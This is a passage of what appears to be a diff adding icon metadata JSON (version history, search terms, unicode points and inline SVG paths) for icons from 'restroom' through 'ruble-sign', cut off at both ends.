"M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z" + } + }, + "free": [ + "brands" + ] + }, + "restroom": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bathroom", + "john", + "loo", + "potty", + "washroom", + "waste", + "wc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7bd", + "label": "Restroom", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635664, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z" + } + }, + "free": [ + "solid" + ] + }, + "retweet": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "refresh", + "reload", + "share", + "swap" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f079", + "label": "Retweet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635664, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z" + } + }, + "free": [ + "solid" + ] + }, + "rev": { + "changes": [ + "5.1.0", + "5.1.1", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5b2", + "label": "Rev.io", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775909, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z" + } + }, + "free": [ + "brands" + ] + }, + "ribbon": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "badge", + "cause", + "lapel", + "pin" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4d6", + "label": "Ribbon", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635665, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z" + } + }, + "free": [ + "solid" + ] + }, + "ring": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "Gollum", + "band", + "binding", + "d&d", + "dnd", + "engagement", + "fantasy", + "gold", + "jewelry", + "marriage", + "precious" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f70b", + "label": "Ring", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635665, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z" + } + }, + "free": [ + "solid" + ] + }, + "road": { + "changes": [ + "1", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "highway", + "map", + "pavement", + "route", + "street", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f018", + "label": "road", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635666, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z" + } + }, + "free": [ + "solid" + ] + }, + "robot": { + "changes": [ + "5.0.13", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "android", + "automate", + "computer", + "cyborg" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f544", + "label": "Robot", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635666, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z" + } + }, + "free": [ + "solid" + ] + }, + "rocket": { + "changes": [ + "3.1", + "5.0.0", + "5.7.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "aircraft", + "app", + "jet", + "launch", + "nasa", + "space" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f135", + "label": "rocket", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635667, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z" + } + }, + "free": [ + "solid" + ] + }, + "rocketchat": { + "changes": [ + "5.0.0", + "5.4.2", + "5.8.0", + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e8", + "label": "Rocket.Chat", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785925, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z" + } + }, + "free": [ + "brands" + ] + }, + "rockrms": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3e9", + "label": "Rockrms", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861018, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z" + } + }, + "free": [ + "brands" + ] + }, + "route": { + "changes": [ + "5.0.9", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "directions", + "navigation", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4d7", + "label": "Route", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635668, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "rss": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blog", + "feed", + "journal", + "news", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f09e", + "label": "rss", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635669, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z" + } + }, + "free": [ + "solid" + ] + }, + "rss-square": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blog", + "feed", + "journal", + "news", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f143", + "label": "RSS Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635668, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z" + } + }, + "free": [ + "solid" + ] + }, + "ruble-sign": { + "changes": [ + "4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "money", + "rub" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f158", + "label": "Ruble Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635669, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 